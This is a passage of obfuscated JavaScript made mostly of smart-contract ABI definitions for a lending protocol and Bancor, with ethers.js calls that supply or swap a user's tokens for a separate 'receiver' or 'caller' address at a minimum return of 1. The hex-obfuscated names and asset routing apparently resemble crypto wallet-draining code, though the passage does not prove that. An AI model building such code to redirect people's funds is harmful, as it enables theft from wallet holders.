}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "supplyBalanceInOf", | |
outputs: [{ | |
internalType: "uint256", | |
name: "inP2P", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "onPool", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "treasuryVault", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}], | |
name: "updateIndexes", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "userMarkets", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}], | |
name: "withdraw", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "withdraw", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x399f32 = new ethers.Contract(_0x2b7b1b, _0x46f5ef, _0x9d9505); | |
return [_0x399f32.supply(_0x4f37a4.asset.token, this.receiver, _0x4f37a4.asset.amount), ""]; | |
} | |
case "Bancor": | |
{ | |
let _0x1d7cf3 = [{ | |
inputs: [{ | |
internalType: "contract ITokenGovernance", | |
name: "initBNTGovernance", | |
type: "address" | |
}, { | |
internalType: "contract ITokenGovernance", | |
name: "initVBNTGovernance", | |
type: "address" | |
}, { | |
internalType: "contract INetworkSettings", | |
name: "initNetworkSettings", | |
type: "address" | |
}, { | |
internalType: "contract IMasterVault", | |
name: "initMasterVault", | |
type: "address" | |
}, { | |
internalType: "contract IExternalProtectionVault", | |
name: "initExternalProtectionVault", | |
type: "address" | |
}, { | |
internalType: "contract IPoolToken", | |
name: "initBNTPoolToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "bancorArbitrage", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "AccessDenied", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "AlreadyExists", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "AlreadyInitialized", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "DeadlineExpired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "DepositingDisabled", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "DoesNotExist", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InsufficientFlashLoanReturn", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidAddress", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidPool", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidToken", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NativeTokenAmountMismatch", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NotEmpty", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NotWhitelisted", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "Overflow", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ZeroValue", | |
type: "error" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "contract Token", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "borrower", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "feeAmount", | |
type: "uint256" | |
}], | |
name: "FlashLoanCompleted", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "contextId", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "contract Token", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "provider", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "availableAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "originalAmount", | |
type: "uint256" | |
}], | |
name: "FundsMigrated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "caller", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "NetworkFeesWithdrawn", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "Paused", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "PoolAdded", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint16", | |
name: "poolType", | |
type: "uint16" | |
}, { | |
indexed: true, | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "PoolCollectionAdded", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint16", | |
name: "poolType", | |
type: "uint16" | |
}, { | |
indexed: true, | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "PoolCollectionRemoved", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "PoolCreated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "PoolRemoved", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "previousAdminRole", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "newAdminRole", | |
type: "bytes32" | |
}], | |
name: "RoleAdminChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}], | |
name: "RoleGranted", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}], | |
name: "RoleRevoked", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "contextId", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "contract Token", | |
name: "sourceToken", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "contract Token", | |
name: "targetToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "sourceAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "targetAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bntAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "targetFeeAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bntFeeAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "trader", | |
type: "address" | |
}], | |
name: "TokensTraded", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "Unpaused", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "DEFAULT_ADMIN_ROLE", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "cancelWithdrawal", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}], | |
name: "collectionByPool", | |
outputs: [{ | |
internalType: "contract IPoolCollection", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token[]", | |
name: "tokens", | |
type: "address[]" | |
}, { | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "createPools", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenAmount", | |
type: "uint256" | |
}], | |
name: "deposit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "provider", | |
type: "address" | |
}, { | |
internalType: "contract Token", | |
name: "pool", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenAmount", | |
type: "uint256" | |
}], | |
name: "depositFor", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "depositingEnabled", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "status", | |
type: "bool" | |
}], | |
name: "enableDepositing", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "contract IFlashLoanRecipient", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "flashLoan", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}], | |
name: "getRoleAdmin", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "uint256", | |
name: "index", | |
type: "uint256" | |
}], | |
name: "getRoleMember", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}], | |
name: "getRoleMemberCount", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "grantRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "hasRole", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IPoolToken", | |
name: "poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "poolTokenAmount", | |
type: "uint256" | |
}], | |
name: "initWithdrawal", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IBNTPool", | |
name: "initBNTPool", | |
type: "address" | |
}, { | |
internalType: "contract IPendingWithdrawals", | |
name: "initPendingWithdrawals", | |
type: "address" | |
}, { | |
internalType: "contract IPoolMigrator", | |
name: "initPoolMigrator", | |
type: "address" | |
}], | |
name: "initialize", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "liquidityPools", | |
outputs: [{ | |
internalType: "contract Token[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "provider", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "availableAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "originalAmount", | |
type: "uint256" | |
}], | |
name: "migrateLiquidity", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token[]", | |
name: "pools", | |
type: "address[]" | |
}, { | |
internalType: "contract IPoolCollection", | |
name: "newPoolCollection", | |
type: "address" | |
}], | |
name: "migratePools", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "paused", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pendingNetworkFeeAmount", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "poolCollections", | |
outputs: [{ | |
internalType: "contract IPoolCollection[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "postUpgrade", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IPoolCollection", | |
name: "newPoolCollection", | |
type: "address" | |
}], | |
name: "registerPoolCollection", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "renounceRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "resume", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "revokeRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "roleAdmin", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "roleEmergencyStopper", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "roleMigrationManager", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "roleNetworkFeeManager", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes4", | |
name: "interfaceId", | |
type: "bytes4" | |
}], | |
name: "supportsInterface", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "sourceToken", | |
type: "address" | |
}, { | |
internalType: "contract Token", | |
name: "targetToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "sourceAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minReturnAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "beneficiary", | |
type: "address" | |
}], | |
name: "tradeBySourceAmount", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "sourceToken", | |
type: "address" | |
}, { | |
internalType: "contract Token", | |
name: "targetToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "sourceAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minReturnAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "beneficiary", | |
type: "address" | |
}], | |
name: "tradeBySourceAmountArb", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "sourceToken", | |
type: "address" | |
}, { | |
internalType: "contract Token", | |
name: "targetToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "targetAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxSourceAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "beneficiary", | |
type: "address" | |
}], | |
name: "tradeByTargetAmount", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract Token", | |
name: "sourceToken", | |
type: "address" | |
}, { | |
internalType: "contract Token", | |
name: "targetToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "targetAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxSourceAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "beneficiary", | |
type: "address" | |
}], | |
name: "tradeByTargetAmountArb", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IPoolCollection", | |
name: "poolCollection", | |
type: "address" | |
}], | |
name: "unregisterPoolCollection", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "version", | |
outputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "withdraw", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "withdrawNetworkFees", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0xc90a77 = new ethers.Contract(_0x2b7b1b, _0x1d7cf3, _0x9d9505); | |
let _0xb445f8 = "0xdac17f958d2ee523a2206206994597c13d831ec7"; | |
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") { | |
_0xb445f8 = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; | |
} | |
return [_0xc90a77.tradeBySourceAmount(_0x4f37a4.asset.token, _0xb445f8, _0x4f37a4.asset.amount, 1, _0x1b1427, this.caller), _0xb445f8]; | |
} | |
case "BancorSwaps": | |
{ | |
let _0x572c6e = [{ | |
constant: false, | |
inputs: [{ | |
name: "_onlyOwnerCanUpdateRegistry", | |
type: "bool" | |
}], | |
name: "restrictRegistryUpdate", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_token", | |
type: "address" | |
}, { | |
name: "_register", | |
type: "bool" | |
}], | |
name: "registerEtherToken", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "getReturnByPath", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}, { | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "claimAndConvertFor2", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "onlyOwnerCanUpdateRegistry", | |
outputs: [{ | |
name: "", | |
type: "bool" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [], | |
name: "updateRegistry", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "convert2", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "maxAffiliateFee", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_token", | |
type: "address" | |
}, { | |
name: "_to", | |
type: "address" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "withdrawTokens", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "prevRegistry", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [], | |
name: "acceptOwnership", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "registry", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "rateByPath", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "address" | |
}], | |
name: "etherTokens", | |
outputs: [{ | |
name: "", | |
type: "bool" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_bancorX", | |
type: "address" | |
}, { | |
name: "_conversionId", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}], | |
name: "completeXConversion", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "convertFor2", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}], | |
name: "claimAndConvertFor", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [], | |
name: "restoreRegistry", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "convertByPath", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_targetBlockchain", | |
type: "bytes32" | |
}, { | |
name: "_targetAccount", | |
type: "bytes32" | |
}, { | |
name: "_conversionId", | |
type: "uint256" | |
}], | |
name: "xConvert", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}], | |
name: "claimAndConvert", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_beneficiary", | |
type: "address" | |
}], | |
name: "convertFor", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_targetBlockchain", | |
type: "bytes32" | |
}, { | |
name: "_targetAccount", | |
type: "bytes32" | |
}, { | |
name: "_conversionId", | |
type: "uint256" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "xConvert2", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
